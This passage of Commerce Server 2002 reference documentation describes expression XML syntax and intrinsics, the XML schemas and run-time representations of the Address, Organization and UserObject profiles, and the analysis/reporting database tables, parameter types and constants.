intersects | Both | Returns true if the intersection of the lists arg1 and arg2 is not the empty set.
not-intersects | Both | Returns true if the intersection of the lists arg1 and arg2 is the empty set.


Intrinsics

Intrinsics are time and date properties that are evaluated on the server. They are specified in the ID attribute of the Property element. The following table lists the available intrinsics, what they resolve to, and the data types they are evaluated against.

Name | Resolves to | Type/SubType
eee.currDate | date | date
eee.currTime | time | time
eee.currDayOfWeek | 0 - Sunday 1 - Monday 2 - Tuesday 3 - Wednesday and so on | siteterm/CalendarSiteTerms.Days (number)
eee.currMonth | 0 - January 1 - February 2 - March and so on | siteterm/CalendarSiteTerms.Months (number)
eee.currYear | number | number
eee.yesterday | date | date

Internally, dates and times are handled in variant time format. For more information about the variant time format, see MSDN.

Intrinsic Examples

The following example tests whether the current day of the week is Wednesday:

      <CLAUSE OPER="equal">
         <PROPERTY ID="eee.currDayOfWeek" TYPE="siteterm" />
         <IMMED-VAL TYPE="siteterm" SUBTYPE="CalendarSiteTerms.Days">
            3</IMMED-VAL>
      </CLAUSE>


Expression Example

The following example, based on a hypothetical User profile, evaluates to True for all users with the following attributes:

  • Baseball and jai alai are their favorite sports,
  • They are at least 65 years old, and
  • They either have a home area code of 425, or
  • The expression with an ID of 34 is True

Another way of representing these attributes is:

(Baseball and jai alai are their favourite sports AND [They are at least 65 years old AND{They either have a home are code of 425 OR The expression with an ID of 34 is True}])

<TERM TYPE="and">
   <CLAUSE OPER="in">
      <PROPERTY ID="User.FavoriteSports" TYPE="string" />
      <IMMED-VAL TYPE="string" MULTIVAL="True">
         <VALUE>baseball</VALUE>
         <VALUE>jai alai</VALUE>
      </IMMED-VAL>
   </CLAUSE>

   <TERM TYPE="and">
      <CLAUSE OPER="at-least">
         <PROPERTY ID="User.Age" TYPE="number" />
         <IMMED-VAL TYPE="number">65</IMMED-VAL>
      </CLAUSE>

      <TERM TYPE="or">
         <CLAUSE OPER="begins-with">
            <PROPERTY ID="User.ContactInfo.HomePhone" TYPE="string" />
            <IMMED-VAL TYPE="string">425</IMMED-VAL>
         </CLAUSE>
         <CLAUSE OPER="is-true">
            <EXPR-REF ID="34" />
         </CLAUSE>
      </TERM>
   </TERM>
</TERM>

The following is a catalog example:

Manufacturer equal to Apparel Inc. AND productID equals A1234 AND (isDiscountable is equal to 1 OR onSale is equal to 1)

<TERM TYPE="and">
<CLAUSE OPER="equal">
<Property ID="product._product_Manufacturer" TYPE="STRING"/>
<IMMED-VAL TYPE="string"><![CDATA[Apparel Inc.]]></IMMED-VAL>
</CLAUSE>
<CLAUSE OPER="equal">
<Property ID="product._product_ProductID" TYPE="STRING"/>
<IMMED-VAL TYPE="string"><![CDATA[A1234]]></IMMED-VAL>
</CLAUSE>
<TERM TYPE="or">
<CLAUSE OPER="equal">
<Property ID="product._product_OnSale" TYPE="NUMBER"/>
<IMMED-VAL TYPE="number">1</IMMED-VAL>
</CLAUSE>
<CLAUSE OPER="equal">
<Property ID="product._product_isDiscountable" TYPE="NUMBER"/>
<IMMED-VAL TYPE="number">1</IMMED-VAL>
</CLAUSE>
</TERM>
</TERM>


Profile XML Structures

This document contains the XML representations of the profile schemas and run time instances for the profiles (Address, Organization, and UserObject) defined in Microsoft Commerce Server 2002. The ProfileService and ProfileObject objects expose methods that return these representations.

This section contains:

  • Schemas. Shows the XML representation of the profile schemas.
  • Run Time Representations. Shows the XML run time representation for the profiles.

See Also

Profiling System Objects

Profiles Schema

ProfileObject Object

ProfileService Object


Schemas

This section shows the attribute-centric Extensible Markup Language (XML) schema definitions for the profiles defined in Commerce Server 2002. These definitions are identical to what is returned by the GetProfileDefXML method (with the bNamesOnly parameter set to False) of the ProfileService object, and to what is returned by the GetProfileXML method (with the eRetrieveEnum parameter set to psRetrieveSchemaOnly) of the ProfileObject object.

This section contains:

  • Address Schema. Shows the attribute-centric schema for the Address profile, which stores both user and organization addresses.
  • Organization Schema. Shows the attribute-centric schema for the Organization profile, which stores information about organizations (trading partners, home companies, subsidiaries, and so forth).
  • UserObject Schema. Shows the attribute-centric schema for the UserObject profile, which stores information about both registered and anonymous users.


Address Schema

This topic shows the attribute-centric schema for the Address profile, which stores both user and organization addresses. This schema is identical to what is returned by the GetProfileDefXML method (with the bNamesOnly parameter set to False) of the ProfileService object, and to what is returned by the GetProfileXML method (with the eRetrieveEnum parameter set to psRetrieveSchemaOnly and the bAttributeCentric parameter set to True) of the ProfileObject object.

<?xml version="1.0"?>
<ProfileDocument>
<Schema xmlns="urn:schemas-microsoft-com:xml-data"
   xmlns:dt="urn:schemas-microsoft-com:datatypes">
<ElementType name="Address">
   <attributeType name="address_id" dt:type="string" required="yes"/>
   <attributeType name="id" dt:type="string"/>
   <attributeType name="last_name" dt:type="string"/>
   <attributeType name="first_name" dt:type="string"/>
   <attributeType name="address_name" dt:type="string"/>
   <attributeType name="address_type" dt:type="int"/>
   <attributeType name="description" dt:type="string"/>
   <attributeType name="address_line1" dt:type="string" required="yes"/>
   <attributeType name="address_line2" dt:type="string"/>
   <attributeType name="city" dt:type="string"/>
   <attributeType name="region_code" dt:type="string" required="yes"/>
   <attributeType name="region_name" dt:type="string"/>
   <attributeType name="postal_code" dt:type="string" required="yes"/>
   <attributeType name="country_code" dt:type="string" required="yes"/>
   <attributeType name="country_name" dt:type="string"/>
   <attributeType name="tel_number" dt:type="string"/>
   <attributeType name="tel_extension" dt:type="string"/>
   <attributeType name="locale" dt:type="int"/>
   <attributeType name="user_id_changed_by" dt:type="string"/>
   <attributeType name="date_last_changed" dt:type="datetime"/>
   <attributeType name="date_created" dt:type="datetime"/>
<ElementType name="GeneralInfo" content="eltOnly">
   <attribute type="address_id"/>
   <attribute type="id"/>
   <attribute type="last_name"/>
   <attribute type="first_name"/>
   <attribute type="address_name"/>
   <attribute type="address_type"/>
   <attribute type="description"/>
   <attribute type="address_line1"/>
   <attribute type="address_line2"/>
   <attribute type="city"/>
   <attribute type="region_code"/>
   <attribute type="region_name"/>
   <attribute type="postal_code"/>
   <attribute type="country_code"/>
   <attribute type="country_name"/>
   <attribute type="tel_number"/>
   <attribute type="tel_extension"/>
   <attribute type="locale"/>
   <attribute type="user_id_changed_by"/>
</ElementType>
<ElementType name="ProfileSystem" content="eltOnly">
   <attribute type="date_last_changed"/>
   <attribute type="date_created"/>
</ElementType>
   <element type="GeneralInfo"/>
   <element type="ProfileSystem"/>
</ElementType>
</Schema>
</ProfileDocument>


Organization Schema

This topic shows the attribute-centric schema for the Organization profile, which stores information about organizations (trading partners, home companies, subsidiaries, and so on). This schema is identical to what is returned by the GetProfileDefXML method (with the bNamesOnly parameter set to False) of the ProfileService object, and to what is returned by the GetProfileXML method (with the eRetrieveEnum parameter set to psRetrieveSchemaOnly and the bAttributeCentric parameter set to True) of the ProfileObject object.

<?xml version="1.0"?>
<ProfileDocument>
<Schema xmlns="urn:schemas-microsoft-com:xml-data"
   xmlns:dt="urn:schemas-microsoft-com:datatypes">
<ElementType name="Organization">
   <attributeType name="org_id" dt:type="string" required="yes"/>
   <attributeType name="name" dt:type="string" required="yes"/>
   <attributeType name="trading_partner_number" dt:type="string"/>
   <attributeType name="user_id_admin_contact" dt:type="string"/>
   <attributeType name="user_id_receiver" dt:type="string"/>
   <attributeType name="org_catalog_set" dt:type="string"/>
   <attributeType name="user_id_changed_by" dt:type="string"/>
   <attributeType name="date_last_changed" dt:type="datetime"/>
   <attributeType name="date_created" dt:type="datetime"/>
   <attributeType name="user_id_purchasing_manager" dt:type="string"/>
<ElementType name="GeneralInfo" content="eltOnly">
   <attribute type="org_id"/>
   <attribute type="name"/>
   <attribute type="trading_partner_number"/>
   <attribute type="user_id_admin_contact"/>
   <attribute type="user_id_receiver"/>
   <attribute type="org_catalog_set"/>
   <attribute type="user_id_changed_by"/>
</ElementType>
<ElementType name="ProfileSystem" content="eltOnly">
   <attribute type="date_last_changed"/>
   <attribute type="date_created"/>
</ElementType>
<ElementType name="Purchasing" content="eltOnly">
   <attribute type="user_id_purchasing_manager"/>
</ElementType>
   <element type="GeneralInfo"/>
   <element type="ProfileSystem"/>
   <element type="Purchasing"/>
</ElementType>
</Schema>
</ProfileDocument>


UserObject Schema

This topic shows the attribute-centric schema for the UserObject profile, which stores information about both registered and anonymous users. This schema is identical to what is returned by the GetProfileDefXML method (with the bNamesOnly parameter set to False) of the ProfileService object, and to what is returned by the GetProfileXML method (with the eRetrieveEnum parameter set to psRetrieveSchemaOnly and the bAttributeCentric parameter set to True) of the ProfileObject object.

<?xml version="1.0"?>
<ProfileDocument>
<Schema xmlns="urn:schemas-microsoft-com:xml-data"
   xmlns:dt="urn:schemas-microsoft-com:datatypes">
<ElementType name="UserObject">
   <attributeType name="org_id" dt:type="string"/>
   <attributeType name="account_status" dt:type="int" required="yes"/>
   <attributeType name="user_catalog_set" dt:type="string"/>
   <attributeType name="date_registered" dt:type="datetime"/>
   <attributeType name="campaign_history" dt:type="string"/>
   <attributeType name="partner_desk_role" dt:type="int"/>
   <attributeType name="user_id" dt:type="string" required="yes"/>
   <attributeType name="logon_name" dt:type="string" required="yes"/>
   <attributeType name="user_security_password" dt:type="string" required="yes"/>
   <attributeType name="email_address" dt:type="string"/>
   <attributeType name="user_type" dt:type="int"/>
   <attributeType name="user_title" dt:type="string"/>
   <attributeType name="last_name" dt:type="string"/>
   <attributeType name="first_name" dt:type="string"/>
   <attributeType name="tel_number" dt:type="string"/>
   <attributeType name="tel_extension" dt:type="string"/>
   <attributeType name="fax_number" dt:type="string"/>
   <attributeType name="fax_extension" dt:type="string"/>
   <attributeType name="user_id_changed_by" dt:type="string"/>
   <attributeType name="date_last_changed" dt:type="datetime"/>
   <attributeType name="date_created" dt:type="datetime"/>
<ElementType name="AccountInfo" content="eltOnly">
   <attribute type="org_id"/>
   <attribute type="account_status"/>
   <attribute type="user_catalog_set"/>
   <attribute type="date_registered"/>
</ElementType>
<ElementType name="Advertising" content="eltOnly">
   <attribute type="campaign_history"/>
</ElementType>
<ElementType name="BusinessDesk" content="eltOnly">
   <attribute type="partner_desk_role"/>
</ElementType>
<ElementType name="GeneralInfo" content="eltOnly">
   <attribute type="user_id"/>
   <attribute type="logon_name"/>
   <attribute type="user_security_password"/>
   <attribute type="email_address"/>
   <attribute type="user_type"/>
   <attribute type="user_title"/>
   <attribute type="last_name"/>
   <attribute type="first_name"/>
   <attribute type="tel_number"/>
   <attribute type="tel_extension"/>
   <attribute type="fax_number"/>
   <attribute type="fax_extension"/>
   <attribute type="user_id_changed_by"/>
</ElementType>
<ElementType name="ProfileSystem" content="eltOnly">
   <attribute type="date_last_changed"/>
   <attribute type="date_created"/>
</ElementType>
   <element type="AccountInfo"/>
   <element type="Advertising"/>
   <element type="BusinessDesk"/>
   <element type="GeneralInfo"/>
   <element type="ProfileSystem"/>
</ElementType>
</Schema>
</ProfileDocument>


Run Time Representations

This section shows the attribute-centric Extensible Markup Language (XML) run time representations for the profiles defined in Commerce Server 2002. These representations are identical to the XML structures returned by the GetProfileXML method (with the eRetrieveEnum parameter set to psRetrieveDataOnly) of the ProfileObject object.

This section contains:

  • Address Run Time Representation. Shows the attribute-centric run time representation for the Address profile, which stores both user and organization addresses.
  • Organization Run Time Representation. Shows the attribute-centric run time representation for the Organization profile, which stores information about organizations (trading partners, home companies, subsidiaries, and so forth).
  • UserObject Run Time Representation. Shows the attribute-centric run time representation for the UserObject profile, which stores information about both registered and anonymous users.


Address Run Time Representation

This topic shows the XML attribute-centric run time representation for the Address profile, which stores both user and organization addresses. This definition is identical to the XML structures returned by the GetProfileXML method (with the eRetrieveEnum parameter set to psRetrieveDataOnly and the bAttributeCentric parameter set to True) of the ProfileObject object.

<?xml version="1.0"?>
<ProfileDocument>
<Address>
   <GeneralInfo address_id id last_name first_name address_name
      address_type description address_line1 address_line2 city
      region_code region_name postal_code country_code country_name
      tel_number tel_extension locale />
   </GeneralInfo>
   <ProfileSystem date_last_changed date_created>
   </ProfileSystem>
</Address>
</ProfileDocument>


Organization Run Time Representation

This topic shows the XML attribute-centric run time representation for the Organization profile, which stores information about organizations (trading partners, home companies, subsidiaries, and so on). This definition is identical to the XML structures returned by the GetProfileXML method (with the eRetrieveEnum parameter set to psRetrieveDataOnly and the bAttributeCentric parameter set to True) of the ProfileObject object.

<?xml version="1.0"?>
<ProfileDocument>
<Organization>
   <GeneralInfo org_id name trading_partner_number user_id_admin_contact
      user_id_receiver org_catalog_set user_id_changed_by>
   </GeneralInfo>
   <ProfileSystem date_last_changed date_created>
   </ProfileSystem>
   <Purchasing user_id_purchasing_manager>
   </Purchasing>
</Organization>
</ProfileDocument>


UserObject Run Time Representation

This topic shows the XML attribute-centric run time representation for the UserObject profile, which stores information about both registered and anonymous users. This definition is identical to the XML structures returned by the GetProfileXML method (with the eRetrieveEnum parameter set to psRetrieveDataOnly and the bAttributeCentric parameter set to True) of the ProfileObject object.

<?xml version="1.0"?>
<ProfileDocument>
<UserObject>
   <AccountInfo org_id account_status user_catalog_set date_registered>
   </AccountInfo>
   <BusinessDesk partner_desk_role>
   </BusinessDesk>
   <GeneralInfo user_id logon_name user_security_password email_address
      user_type user_title last_name first_name tel_number tel_extension
      fax_number fax_extension user_id_changed_by>
   </GeneralInfo>
   <ProfileSystem date_last_changed date_created>
   </ProfileSystem>
</UserObject>
</ProfileDocument>


Schema Reference

Microsoft Commerce Server 2002 uses databases in many different capacities. It is important for programmers to have knowledge of the schema employed by some of these databases.

This section contains:

  • Analysis/Reporting Schema. Describes the schema used to create reports in Commerce Server.
  • Profiles Schema. Describes the pre-defined profile schemas: Address, Organization, and UserObject.


Analysis/Reporting Schema

This section describes the schema used to create reports in Commerce Server 2002.

This section contains:

  • Analysis/Reporting Architecture. Describes the overall architecture of the analytics/reporting features in the Business Analytics System.
  • Parameterization. Describes the parameters used to create the parameterized queries in static reports.
  • Report Tables. Describes the tables used to create reports and their relations.

See Also

Analysis/Reporting XML Structures

AsyncRpt2 Object

ReportRender2 Object

Running Reports


Analysis/Reporting Architecture

Analysis and reporting in Commerce Server 2002 is built on an open architecture designed to allow total content control by business managers. The business manager is free to add, delete, and modify report content.

Static or dynamic reports can be based on either SQL or multidimensional expression (MDX) queries of SQL or OLAP databases, respectively. Static reports are HTML-based; dynamic reports use Microsoft Office XP Web Components (OWC).

Static report definitions consist of a query with dimension and parameter definitions. The parameter definitions are optional. When a static report is run, the parameters are presented to the operator and then passed to a rendering component. The rendering component generates an HTML document from the query results. Completed static reports are stored as HTML files on the Internet Information Services (IIS) computer hosting the Commerce Server Business Desk Analysis Completed Reports module. These reports can be opened through Business Desk and are displayed in Microsoft Internet Explorer.

Dynamic report definitions contain several properties including the pivot table view, which is stored in Extensible Markup Language (XML) in the Data Warehouse. Report results are displayed in the Pivot Table component.

Definitions for the pre-defined reports are contained in the CSReports.sql and CSReports2.sql files found in the Commerce Server installation directory. These files populate the report tables in the Commerce Server Data Warehouse. You use the Report preparation Data Transformation Services (DTS) task to process OLAP cubes and run stored procedures to prepare imported data for reporting.

See Also

Analysis Reporting

Scripts for Securing Databases Accessed by Reports

Accessing the Analysis Server Over HTTPS


Parameterization

This section describes the parameters and constants used to create the parameterized query entries in the ReportParam table.

This section contains:

  • Parameter Types. Describes the available parameter types and their valid operands and values.
  • Constants. Lists the constants available for use in creating reports.


Parameter Types

The following table lists the available parameter types and their valid operands and values. The SingleValue parameter type can appear anywhere in a query. The SelectOrder parameter type is used in the Select clause of the query. The remaining parameter types appear in the Where clause of the query.

Paramtype Operand1 Value1 Operand2 Value2
ParamType_DateRange DateRangeOpnd_All

DateRangeOpnd_From

DateRangeOpnd_OnOrBefore

DateRangeOpnd_Today

DateRangeOpnd_ThisWeek

DateRangeOpnd_ThisMonth

DateRangeOpnd_ThisQuarter

DateRangeOpnd_ThisYear

DateRangeOpnd_Yesterday

DateRangeOpnd_LastWeek

DateRangeOpnd_LastMonth

DateRangeOpnd_LastQuarter

DateRangeOpnd_LastYear

 Required for the DateRangeOpnd_From or DateRangeOpnd_OnOrBefore operand.

For the DateRangeOpnd_From operand, the beginning date of a range to return.

For the DateRangeOpnd_OnOrBefore operand, the last date to include.

Not applicable for the other operand types.

Date format = MM/DD/YYYY

 Not applicable. Required for the DateRangeOpnd_From operand.

The end date of a range to return.

Not applicable for the other operand types.
ParamType_Expression ExpOpnd_All

ExpOpnd_Equals

ExpOpnd_NotEquals

ExpOpnd_IsNull

ExpOpnd_IsNotNull

ExpOpnd_LessThan (only used for numeric types)

ExpOpnd_LessThanOrEquals (only used for numeric types)

ExpOpnd_GreaterThan (only used for numeric types)

ExpOpnd_GreaterThanOrEquals (only used for numeric types)

ExpOpnd_Like (only used for String types)

ExpOpnd_NotLike (only used for String types)

 Not applicable for the ExpOpnd_None operand.

Required for the other parameter types.

Valid types are:

  • Currency
  • Float
  • Integer
  • String
 Same operand types as Operand1.

Not applicable for the ExpOpnd_None operand.

Optional for the other operand types.

Required if Operand2 is specified.
ParamType_SelectOrder SelectOrderOpnd_All (SQL only)

SelectOrderOpnd_Distinct (SQL only)

SelectOrderOpnd_Top

SelectOrderOpnd_Bottom (MDX only)

Required for the SelectOrderOpnd_Top or SelectOrderOpnd_Bottom operand.

An Integer specifying the number of rows to return.

Not applicable for the SelectOrderOpnd_All operand.

 Not applicable. Not applicable.
ParamType_SingleValue Not applicable Required String value.

The value for this operand is a text field that can accommodate any type of entry. Two examples are: booleanVal = "True" and Time = "12:59:59".

 Not applicable. Not applicable.
ParamType_SiteName
(SQL query only) 		SiteNameOpnd_All

SiteNameOpnd_Equals

SiteNameOpnd_NotEquals

SiteNameOpnd_Like

SiteNameOpnd_NotLike

 Not applicable for the SiteNameOpnd_All operand.

Required String value for the others.

 Not applicable. Not applicable.


Constants

The following tables list the constants defined in the CSReports.sql file for use in creating parameterized reports:

  • DataType
  • ParamType
  • ParamType_DateRange Operand
  • ParamType_Expression Operand
  • ParamType_SelectOrder Operand
  • ParamType_SiteName Operand

DataType

The following table lists the valid data types.

Data type | Value
DataType_date | 1
DataType_integer | 2
DataType_float | 3
DataType_currency | 4
DataType_text | 5

ParamType

The following table lists the valid parameter types. The Constraint column lists where the parameter type is used in the query.

Parameter type | Value | Constraint
ParamType_SingleValue | 0 | Anywhere
ParamType_Expression | 1 | WHERE clause
ParamType_SelectOrder | 2 | SELECT clause
ParamType_DateRange | 3 | WHERE clause
ParamType_SiteName | 4 | WHERE clause

ParamType_DateRange Operand

The following table lists the valid date range operands.

Operand | Value
DateRangeOpnd_All | 0
DateRangeOpnd_From | 1
DateRangeOpnd_OnOrBefore | 2
DateRangeOpnd_Today | 3
DateRangeOpnd_ThisWeek | 4
DateRangeOpnd_ThisMonth | 5
DateRangeOpnd_ThisQuarter | 6
DateRangeOpnd_ThisYear | 7
DateRangeOpnd_Yesterday | 8
DateRangeOpnd_LastWeek | 9
DateRangeOpnd_LastMonth | 10
DateRangeOpnd_LastQuarter | 11
DateRangeOpnd_LastYear | 12

ParamType_Expression Operand

The following table lists the valid expression operands.

Operand | Value | Constraint
ExpOpnd_All | 0 | None
ExpOpnd_Equals | 1 | None
ExpOpnd_NotEquals | 2 | None
ExpOpnd_IsNull | 3 | None
ExpOpnd_IsNotNull | 4 | None
ExpOpnd_LessThan | 5 | Numeric data types only
ExpOpnd_LessThanOrEquals | 6 | Numeric data types only
ExpOpnd_GreaterThan | 7 | Numeric data types only
ExpOpnd_GreaterThanOrEquals | 8 | Numeric data types only
ExpOpnd_Like | 9 | Char data type only
ExpOpnd_NotLike | 10 | Char data type only

ParamType_SelectOrder Operand

The following table lists the valid select order operands.

Operand | Value | Constraint
SelectOrderOpnd_All | 0 | SQL only
SelectOrderOpnd_Distinct | 1 | SQL only
SelectOrderOpnd_Top | 2 | SQL and MDX
SelectOrderOpnd_Bottom | 3 | MDX only

ParamType_SiteName Operand

The following table lists the valid site name operands. The ParamType_SiteName operand is applicable only for SQL queries.

Operand | Value
SiteNameOpnd_All | 0
SiteNameOpnd_Equals | 1
SiteNameOpnd_NotEquals | 2
SiteNameOpnd_Like | 3
SiteNameOpnd_NotLike | 4


Report Tables

This section contains information about the reporting schema and the report tables used in the Data Warehouse. This section also contains a table that describes report table usage by report type.

The following figure identifies the report tables and their relations. Each table is described in the subsequent sections.

Reporting Schema

This section contains:

  • Report Table. Describes the attributes used in the main report definition table.
  • ReportDimension Table. Describes the attributes used to add a dimension to a report.
  • ReportInstanceDbObject Table. Describes instances of database objects created for use in a static report.
  • ReportInstanceParam Table. Describes the attributes used to store the parameters entered through the user interface for use in query expressions.
  • ReportParam Table. Describes the attributes used to add a parameterized query expression to a static report.
  • ReportStatus Table. Describes the attributes used to supply status information about a static report.
  • GroupReportDbObject Table. Describes the temporary objects created during grouped report generation.
  • GroupReportJob Table. Describes the attributes used to track the grouped report jobs that have been run.
  • GroupReportStatus Table. Describes the attributes used to keep track of the individual reports that have been generated when a grouped report is run.
  • CubeProcInfo Table. Describes the attributes used by the Report preparation DTS task to process cubes.
  • CubePartitionInfo Table. Describes the attributes used track the processing state of data within the cube.
  • DimProcInfo Table. Describes the attributes used by the Report preparation DTS task to process shared dimensions.
  • StoredProcInfo Table. Describes the attributes used by the Report preparation DTS task to run stored procedures.
  • ReportPreExec Table. Describes the attributes used by the Report caching DTS task to run OLAP reports.
  • Table Usage by Report Type. Describes report table usage by report type.


Report Table

The following table describes the attributes used in the main report definition table.

Attribute name | Data type | Constraint | Default | Description
ReportID | int | None | None | Unique identifier.
AggregationType | tinyint | NULL | None | Not used.
Category | nvarchar (128) | NULL | None | Category of the report.
ChartType | int | None | 3 | See "Chart Types" table immediately following.
CommerceBuild | nvarchar (128) | NULL | None | Commerce Server build number.
CreatedBy | nvarchar (128) | NULL | None | Name of the user who created the report.
CreatedTime | datetime | NULL | getdate() | Date and time the report was created.
Definition | ntext | NULL | None | Long description.
Description | nvarchar (128) | NULL | None | Short description.
DisplayName | nvarchar (128) | NULL | None | Name displayed in the user interface.
DmExport | bit | None | False (0) | If True (1), the report contains the rcp_Email field, which can be exported to List Manager for use by Direct Mailer.
HelpFileRef | nvarchar (256) | None | None | Help file name.
LastModifiedBy | nvarchar (128) | NULL | None | Name of the user who last modified the report.
LastRunBy | nvarchar (128) | NULL | None | Name of the user who last ran the report.
LastRunDateTime | datetime | NULL | None | Date and time the report was last run.
MajorVersion | int | NULL | None | None.
MinorVersion | int | NULL | None | None.
ModifiedTime | datetime | NULL | None | Date and time the report was last modified.
OrderBy | nvarchar(512) | None | None | Used to order the static SQL report results.
Private | bit | None | False (0) | Not used.
Protected | bit | None | False (0) | True (1) indicates the report may not be overwritten or deleted. True for all system reports.
Query | nvarchar (2000) | NULL | None | The executable SQL query.
ReportType | tinyint | NULL | None | See "Report Types" table immediately following.
SeriesInColumns | bit | None | True (1) | Inverts the chart (swaps x and y).
ShowChart | bit | None | False (0) | True indicates to show the chart.
ShowDefinition | bit | NOT NULL | None | True indicates to show the definition.
ShowLegend | bit | None | True (1) | True indicates to show the chart legend.
ShowPivot | bit | None | True (1) | True indicates to show the pivot control.
UPMExport | bit | None | False (0) | If True (1), the report contains the rcp_GUID field, which can be exported to List Manager for use by the Profiling system.
XMLData | ntext | NULL | None | PivotTable XML data.

Chart Types

Most Microsoft Office XP Web Components charts can be used with reports created by Commerce Server. The following table lists a few of the more common chart types. The chart type can be selected directly in the Chart control.

ChartType | Value
Column: Clustered | 0
Bar: Clustered | 3
Line | 6
Pie | 18

Report Types

The following table lists the valid report type values.

ReportType | Value
Dynamic_SQL | 0
Dynamic_MDX | 1
Static_SQL | 2
Static_MDX | 3
Static_Grouped_SQL | 4
Static_Grouped_MDX | 5


ReportDimension Table

The following table describes the attributes used to add a dimension to a static report.

Attribute name | Data type | Constraint | Default | Description
ReportID | int | NOT NULL | None | ID of the report with which the dimension is associated.
AggregationType | tinyint | None | 0 | Not used.
DimensionType | tinyint | NOT NULL | None | 0 = Column 1 = Row 2 = Measure
DisplayName | nvarchar (128) | NULL | None | Name displayed in the user interface.
FieldName | nvarchar (128) | NOT NULL | None | Field name displayed in the report query result.
GroupDim | bit | NULL | None | Used in grouped reports to specify that the dimension is to be used for grouping.
Ordinal | tinyint | NOT NULL | None | Used to specify the user interface rendering order.


ReportInstanceDbObject Table

The following table describes instances of database objects created for use in a static report. This table is created at report run time.

Attribute name | Data type | Constraint | Default | Description
ReportStatusID | int | NOT NULL | None | ID of the report instance.
DateCreated | datetime | NOT NULL | None | Date and time the object was instantiated.
DbObjectInstanceName | nvarchar (128) | NULL | None | Name of the table or view.
DbObjectType | nvarchar (128) | NULL | None | 0 = Table 1 = TempTable 2 = View


ReportInstanceParam Table

The following table stores an instance of the parameterized query expression. This table is created at report run time.

Attribute name | Data type | Constraint | Default | Description
ReportStatusID | int | NOT NULL | None | ID of the report instance.
AllowNull | bit | NOT NULL | False (0) | Reserved for future use.
Automatic | bit | NOT NULL | False (0) | Reserved for future use.
DataType | nvarchar (128) | NULL | None | Data type of Val1 and Val2. 0 = int 1 = float 2 = datetime 3 = char
FieldName | nvarchar (128) | NULL | None | Field in query used for expression.
Opnd1 | tinyint | NULL | 0 | First operand.
Opnd2 | tinyint | NULL | 0 | Second operand.
ParamName | nvarchar (128) | NULL | None | Tag name.
ParamType | tinyint | NULL | None | Type of parameter.
Val1 | nvarchar (128) | NULL | None | First value.
Val2 | nvarchar (128) | NULL | None | Second value.


ReportParam Table

The following table describes the attributes used to create a parameterized query for a static report.

Attribute name | Data type | Constraint | Default | Description
ReportID | int | NOT NULL | None | ID of the report with which the parameter is associated.
AllowNull | bit | NOT NULL | False (0) | Reserved for future use.
Automatic | bit | NOT NULL | False (0) | Reserved for future use.
DataType | tinyint | NULL | None | Data type of Val1 and Val2. 0 = int 1 = float 2 = datetime 3 = char
FieldName | nvarchar (128) | NULL | None | Field in query used for expression.
Opnd1 | tinyint | NULL | None | First operand.
Opnd2 | tinyint | NULL | None | Second operand.
Ordinal | tinyint | NULL | None | Used to specify the user interface rendering order.
ParamDescription | nvarchar (128) | NOT NULL | None | Text displayed on the clickable bar.
ParamName | nvarchar (128) | NOT NULL | None | Tag name.
ParamType | tinyint | NOT NULL | 0 | Type of parameter.
Val1 | nvarchar (128) | NULL | None | First value.
Val2 | nvarchar (128) | NULL | None | Second value.


ReportStatus Table

The following table describes the attributes used to supply status information about a report. This table is populated at report run time.

Attribute name | Data type | Constraint | Default | Description
ReportStatusID | int | None | None | Unique identifier.
ReportID | int | NULL | None | ID of the report with which the status is associated.
DisplayName | nvarchar (128) | NULL | None | Name displayed in the user interface.
ExecutionState | tinyint | NOT NULL | 0 | 0 = None 1 = Failed 2 = Pending 3 = Completed
Exported | bit | NULL | False (0) | True specifies the report was exported.
LocationName | nvarchar (255) | NULL | None | Name of the report.
LocationPath | nvarchar (255) | NULL | None | Path to the report.
RunBy | nvarchar (255) | NULL | None | Name of the person running the report.
RunDateTime | datetime | NULL | None | Date the report was run.
SiteName | nvarchar (256) | NULL | None | Name of the site.


GroupReportDbObject Table

The following table describes the attributes used to create the temporary objects during grouped report generation. This table is populated at report run time.

Attribute name | Data type | Constraint | Default | Description
GroupReportJobID | int | NOT NULL | None | ID of the report job with which the parameter is associated.
DbObjectType | nvarchar (128) | NULL | None | 0 = Table 1 = TempTable 2 = View
DbObjectInstanceName | nvarchar (128) | NULL | None | Name of the database object.
DateCreated | datetime | NOT NULL | None | Date and time the object was instantiated.


GroupReportJob Table

The following table describes the attributes used to keep track of the grouped report jobs that have been run. This table is populated at report run time.

Attribute name | Data type | Constraint | Default | Description
GroupReportJobID | int | NOTNULL | None | ID of the report job with which the parameter is associated.
DisplayName | nvarchar (128) | NULL | None | Name displayed in the user interface.
ExecutionState | tinyint | NOT NULL | None | 0 = None 1 = Failed 2 = Pending 3 = Completed
GroupReportQuantity | int | NOT NULL | None | Number of reports generated for this grouped report.
LocationName | nvarchar (255) | NULL | None | Name of the report.
LocationPath | nvarchar (512) | NULL | None | Path to the report.
RunDateTime | datetime | NOT NULL | None | Date the report was run.


GroupReportStatus Table

The following table describes the attributes used to track the individual reports that have been generated when a grouped report is run. This table is populated at report run time.

Attribute name | Data type | Constraint | Default | Description
GroupReportJobID | int | NOT NULL | None | ID of the report job with which the parameter is associated.
GroupDim1Name | nvarchar (128) | NULL | None | First grouping dimension name.
GroupDim1Value | nvarchar (128) | NULL | None | First grouping dimension value.
GroupDim2Name | nvarchar (128) | NULL | None | Second grouping dimension name.
GroupDim2Value | nvarchar (128) | NULL | None | Second grouping dimension value.
GroupDim3Name | nvarchar (128) | NULL | None | Third grouping dimension name.
GroupDim3Value | nvarchar (128) | NULL | None | Third grouping dimension value.
Location | nvarchar (512) | NULL | None | The report path.
RunDateTime | datetime | NULL | None | Date the report was run.


CubeProcInfo Table

The following table contains information used by the Report preparation DTS task to process cubes. This table should be updated when cubes are added or deleted.

Attribute name | Data type | Constraint | Default | Description
AutoPartition | bit | NOT NULL | 1 | If set to True (1), new partitions will be added to the cube as needed by the Report preparation DTS task. If set to False (0), partitions will not be automatically created for the cube.
CubeName | nvarchar (50) | NOT NULL | None | Name of the cube to be processed.
FactTable | Sysname | NULL |  | Name of the fact table associated with the cube name.
IncEnabled | bit | NOT NULL | None | If True (1), the cube will be processed incrementally if the Report preparation task is running in incremental mode. If False (0), data for the cube will always be fully refreshed when the Report preparation task is run.
IsVirtual | bit | NOT NULL | 0 | If False (0) the cube is standard. If True (1) the cube is virtual.
Optimization | tinyint | NULL |  | Indicates targeted optimization percentage for the Report preparation DTS task when run in full mode and aggregations are designed for the cube. If set to NULL, no aggregations will be designed.
PartitioningKey | Sysname | NULL |  | Specifies the name of the column in the table defined in PartitionKeySource, which will be used to partition data within the cube. This column is used by auto-partitioning if the AutoPartition bit is set to 1.
